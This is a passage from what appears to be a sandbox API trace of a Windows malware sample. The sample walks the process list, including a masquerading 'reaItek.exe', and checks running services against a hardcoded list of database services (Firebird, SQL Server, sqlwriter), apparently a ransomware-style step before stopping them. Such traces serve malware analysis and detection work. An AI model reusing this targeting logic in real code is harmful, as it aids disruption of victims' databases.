dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0108.918] lstrlenW (lpString="blademcdonald.exe") returned 17 [0108.918] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0108.918] lstrlenW (lpString="courage.exe") returned 11 [0108.918] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0108.919] lstrlenW (lpString="pearl.exe") returned 9 [0108.919] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0108.920] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0108.920] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mixture_bidding_beam.exe")) returned 1 [0108.920] lstrlenW (lpString="mixture_bidding_beam.exe") returned 24 [0108.920] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="customs-denial-enough.exe")) returned 1 [0108.921] lstrlenW (lpString="customs-denial-enough.exe") returned 25 [0108.921] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0108.922] lstrlenW (lpString="dome.exe") returned 8 [0108.922] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wires_jacket_neighborhood.exe")) returned 1 [0108.923] lstrlenW (lpString="wires_jacket_neighborhood.exe") returned 29 [0108.923] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="paying.exe")) returned 1 [0108.924] lstrlenW (lpString="paying.exe") returned 10 [0108.924] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emission.exe")) returned 1 [0108.924] lstrlenW (lpString="emission.exe") returned 12 [0108.924] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="sandy_barriers.exe")) returned 1 [0108.925] lstrlenW (lpString="sandy_barriers.exe") returned 18 [0108.925] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charter.exe")) returned 1 [0108.926] lstrlenW (lpString="charter.exe") returned 11 [0108.926] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0108.926] lstrlenW (lpString="nickel.exe") returned 10 [0108.927] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened-conservative-warnings.exe")) returned 1 [0108.927] lstrlenW (lpString="opened-conservative-warnings.exe") returned 32 [0108.927] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist.exe")) returned 1 [0108.928] lstrlenW (lpString="wrist.exe") returned 9 [0108.928] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bloodpopularity.exe")) returned 1 [0108.929] lstrlenW (lpString="bloodpopularity.exe") returned 19 [0108.929] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neck.exe")) returned 1 [0108.930] lstrlenW (lpString="neck.exe") returned 8 [0108.930] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0108.931] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0108.931] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.931] lstrlenW (lpString="dllhost.exe") returned 11 [0108.931] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0108.932] lstrlenW (lpString="taskhostw.exe") returned 13 [0108.932] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.933] lstrlenW (lpString="svchost.exe") returned 11 [0108.933] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaItek.exe")) returned 1 [0108.934] lstrlenW (lpString="reaItek.exe") returned 11 [0108.934] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0108.935] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0108.935] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0108.935] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0108.935] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.936] lstrlenW (lpString="conhost.exe") returned 11 [0108.936] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x408, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.937] lstrlenW (lpString="cmd.exe") returned 7 [0108.937] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.938] lstrlenW (lpString="conhost.exe") returned 11 [0108.938] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0108.982] lstrlenW (lpString="sppsvc.exe") returned 10 [0108.982] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0108.982] lstrlenW (lpString="mode.com") returned 8 [0108.983] Process32NextW (in: hSnapshot=0x33c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x9fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0108.983] CloseHandle (hObject=0x33c) returned 1 [0108.983] Sleep (dwMilliseconds=0x1f4) [0109.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5fed18 [0109.536] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0109.536] GetLastError () returned 0xea [0109.536] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fc0) returned 0x61c998 [0109.537] EnumServicesStatusExW (in: hSCManager=0x5fed18, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x61c998, cbBufSize=0x1fc0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x61c998, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0109.538] CloseServiceHandle (hSCObject=0x5fed18) returned 1 [0109.538] lstrlenW (lpString="Appinfo") returned 7 [0109.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0109.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0109.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0109.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0109.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0109.538] lstrlenW (lpString="AppXSvc") returned 7 [0109.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0109.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0109.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0109.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0109.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0109.538] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0109.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0109.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0109.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0109.538] lstrlenW (lpString="Audiosrv") returned 8 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0109.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0109.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0109.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0109.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0109.539] lstrlenW (lpString="BFE") returned 3 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0109.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0109.539] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0109.539] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0109.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0109.539] lstrlenW (lpString="BITS") returned 4 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0109.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0109.539] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0109.539] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0109.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0109.539] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0109.539] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0109.539] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0109.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0109.539] lstrlenW (lpString="CDPSvc") returned 6 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0109.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0109.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0109.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0109.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0109.539] lstrlenW (lpString="ClickToRunSvc") returned 13 [0109.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0109.540] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0109.540] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0109.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0109.540] lstrlenW (lpString="ClipSVC") returned 7 [0109.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0109.540] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0109.540] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0109.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0109.540] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0109.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0109.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0109.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0109.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0109.540] lstrlenW (lpString="CryptSvc") returned 8 [0109.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0109.540] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0109.540] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0109.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0109.540] lstrlenW (lpString="DcomLaunch") returned 10 [0109.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.540] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0109.540] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0109.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0109.540] lstrlenW (lpString="DeviceAssociationService") returned 24 [0109.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0109.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0109.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0109.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0109.541] lstrlenW (lpString="Dhcp") returned 4 [0109.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0109.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0109.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0109.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0109.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0109.541] lstrlenW (lpString="Dnscache") returned 8 [0109.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0109.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0109.541] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0109.541] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0109.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0109.541] lstrlenW (lpString="DoSvc") returned 5 [0109.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0109.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0109.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0109.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0109.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0109.541] lstrlenW (lpString="DPS") returned 3 [0109.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0109.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0109.541] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0109.541] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0109.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0109.541] lstrlenW (lpString="DusmSvc") returned 7 [0109.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0109.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0109.542] lstrlenW (lpString="EventLog") returned 8 [0109.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0109.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0109.542] lstrlenW (lpString="EventSystem") returned 11 [0109.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0109.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0109.542] lstrlenW (lpString="FontCache") returned 9 [0109.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0109.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0109.542] lstrlenW (lpString="gpsvc") returned 5 [0109.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0109.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0109.542] lstrlenW (lpString="iphlpsvc") returned 8 [0109.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.542] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0109.542] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0109.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0109.543] lstrlenW (lpString="KeyIso") returned 6 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0109.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0109.543] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0109.543] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0109.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0109.543] lstrlenW (lpString="LanmanServer") returned 12 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0109.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0109.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0109.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0109.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0109.543] lstrlenW (lpString="LanmanWorkstation") returned 17 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0109.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0109.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0109.543] lstrlenW (lpString="lfsvc") returned 5 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0109.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0109.543] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0109.543] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0109.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0109.543] lstrlenW (lpString="LicenseManager") returned 14 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0109.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0109.543] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0109.543] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0109.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0109.543] lstrlenW (lpString="lmhosts") returned 7 [0109.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0109.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0109.544] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0109.544] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0109.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0109.544] lstrlenW (lpString="LSM") returned 3 [0109.544] lstrcmpiW 